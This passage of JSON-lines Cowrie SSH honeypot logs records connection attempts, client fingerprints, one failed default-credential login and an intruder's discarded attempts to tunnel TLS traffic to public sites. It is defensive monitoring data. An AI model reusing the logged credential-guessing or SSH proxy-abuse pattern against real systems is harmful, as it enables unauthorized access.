\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 54.228.15.104:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb1.\\xed\\xa9GL\\xba\\xc9\\xde\\x9b\\x82\\x80)\\xdcU\\x1b\\xd4Fr\\xbb\\xb6%N3<\\x82\\xd6\\xd9\\x94\\x9bi\\xe4 \\xcb\\xaa\\xab\\x89\\x8e\\xadt\\x97\\xba\\xae\\xa1\\xf0\\xbb\\x91\\xba\\xd1\\r\"Xa\\xd5\\x8al,\\xd8Z\\xa5\\x18\\xb5\\xc1{\\xcd\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 c\\xa4\\xac\\x9f:[\\xcc\\x0bfh\\x12\\xee\\xce\\x91&\\xc0\\x9b\\xa9\\x16\\xced\\xdei\\xaa+\\xd7\\xc6\\xac\\x84\\xbb*K\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:34:59.490213Z","src_ip":"80.94.95.118","session":"2a1ddb528f12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"2.17.96.230","dst_port":443,"src_ip":"80.94.95.118","src_port":42278,"message":"direct-tcp connection request to 2.17.96.230:443 from 127.0.0.1:42278","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:01.702795Z","session":"2a1ddb528f12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"2.17.96.230","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 2.17.96.230:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:02.874493Z","src_ip":"80.94.95.118","session":"2a1ddb528f12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"2.17.96.230","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xee\\t\\x10\\xea\\x93\\xd7$\\xfb\\x1cu\\x1f\\xdf\\xe4\\xa4$n\\xd8N\\xd2\\x80\\x86\\r\\x8d3\\xfd~zX\\xc1\\xd9\\xa4  0P\\x94\\x18\\xb6g\\xb6n\\x99\\xf1-\\xd5{\\xd5\\xb9%\\xb9 \\x82\\xa9\\xe64\\xe7\\x17;<K\\xc8\\xd8\\x0b\\xe8i\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xce,\\x91d\\x8c2}\\xf1=\\x0ec\\xb0\\\\5\\xcd(Y\\xb7\\x0e\\xed\\xf4\\xa3\\xa4 \\xf7\\xcb\\tP\\xf0\\xf6vZ\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 2.17.96.230:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xee\\t\\x10\\xea\\x93\\xd7$\\xfb\\x1cu\\x1f\\xdf\\xe4\\xa4$n\\xd8N\\xd2\\x80\\x86\\r\\x8d3\\xfd~zX\\xc1\\xd9\\xa4  0P\\x94\\x18\\xb6g\\xb6n\\x99\\xf1-\\xd5{\\xd5\\xb9%\\xb9 \\x82\\xa9\\xe64\\xe7\\x17;<K\\xc8\\xd8\\x0b\\xe8i\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xce,\\x91d\\x8c2}\\xf1=\\x0ec\\xb0\\\\5\\xcd(Y\\xb7\\x0e\\xed\\xf4\\xa3\\xa4 \\xf7\\xcb\\tP\\xf0\\xf6vZ\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:02.879896Z","src_ip":"80.94.95.118","session":"2a1ddb528f12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.143.228","dst_port":443,"src_ip":"80.94.95.118","src_port":42856,"message":"direct-tcp connection request to 142.251.143.228:443 from 127.0.0.1:42856","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:03.066750Z","session":"2a1ddb528f12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.143.228","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.143.228:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:06.450960Z","src_ip":"80.94.95.118","session":"2a1ddb528f12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.143.228","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x17\\xa6\\x81\\xdb;HR\\xb6\\x91\\xf1\\r1LaCs\\xb9$\\xf2\\xa7\\x95\\x10\\xce\\x18CO\\xd8\\xecesl9 \\x03\\xd9\\x03\\x03pql\\xe3y\\xb1y\\x12\\xbe\\xb0U\\x9co\\xcc\\n_*\\xec\\x03<\\xdf'T\\xe0K}3\\xe4\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x8bA\\xbc\\x83\\x80@@g\\xe4\\x92*\\x10\\xa3\\xc5\\x89\\xd1@\\x8f<\\x80\\xdf\\xd5\\xdf\\x82\\xa8R\\xb6\\x9c\\xa6\\xf8\\xcd3\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.143.228:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x17\\xa6\\x81\\xdb;HR\\xb6\\x91\\xf1\\r1LaCs\\xb9$\\xf2\\xa7\\x95\\x10\\xce\\x18CO\\xd8\\xecesl9 \\x03\\xd9\\x03\\x03pql\\xe3y\\xb1y\\x12\\xbe\\xb0U\\x9co\\xcc\\n_*\\xec\\x03<\\xdf'T\\xe0K}3\\xe4\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x8bA\\xbc\\x83\\x80@@g\\xe4\\x92*\\x10\\xa3\\xc5\\x89\\xd1@\\x8f<\\x80\\xdf\\xd5\\xdf\\x82\\xa8R\\xb6\\x9c\\xa6\\xf8\\xcd3\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:06.454573Z","src_ip":"80.94.95.118","session":"2a1ddb528f12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":54356,"dst_ip":"10.17.0.5","dst_port":22,"session":"99b71dd5a4ab","protocol":"ssh","message":"New connection: 162.120.6.20:54356 (10.17.0.5:22) [session: 99b71dd5a4ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:06.977098Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:07.055169Z","src_ip":"162.120.6.20","session":"99b71dd5a4ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":54362,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f3f5fbbf2e7","protocol":"ssh","message":"New connection: 162.120.6.20:54362 (10.17.0.5:22) [session: 1f3f5fbbf2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:07.123550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:07.130355Z","src_ip":"162.120.6.20","session":"1f3f5fbbf2e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:07.202728Z","src_ip":"162.120.6.20","session":"1f3f5fbbf2e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"password","message":"login attempt [username/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:07.418736Z","src_ip":"162.120.6.20","session":"1f3f5fbbf2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:08.493171Z","src_ip":"162.120.6.20","session":"1f3f5fbbf2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.1","message":"Connection lost after 14.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:09.395240Z","src_ip":"80.94.95.118","session":"2a1ddb528f12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":53200,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2f29021febd","protocol":"ssh","message":"New connection: 142.93.139.168:53200 (159.203.135.109:22) [session: c2f29021febd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:36.384222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:36.388412Z","src_ip":"142.93.139.168","session":"c2f29021febd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 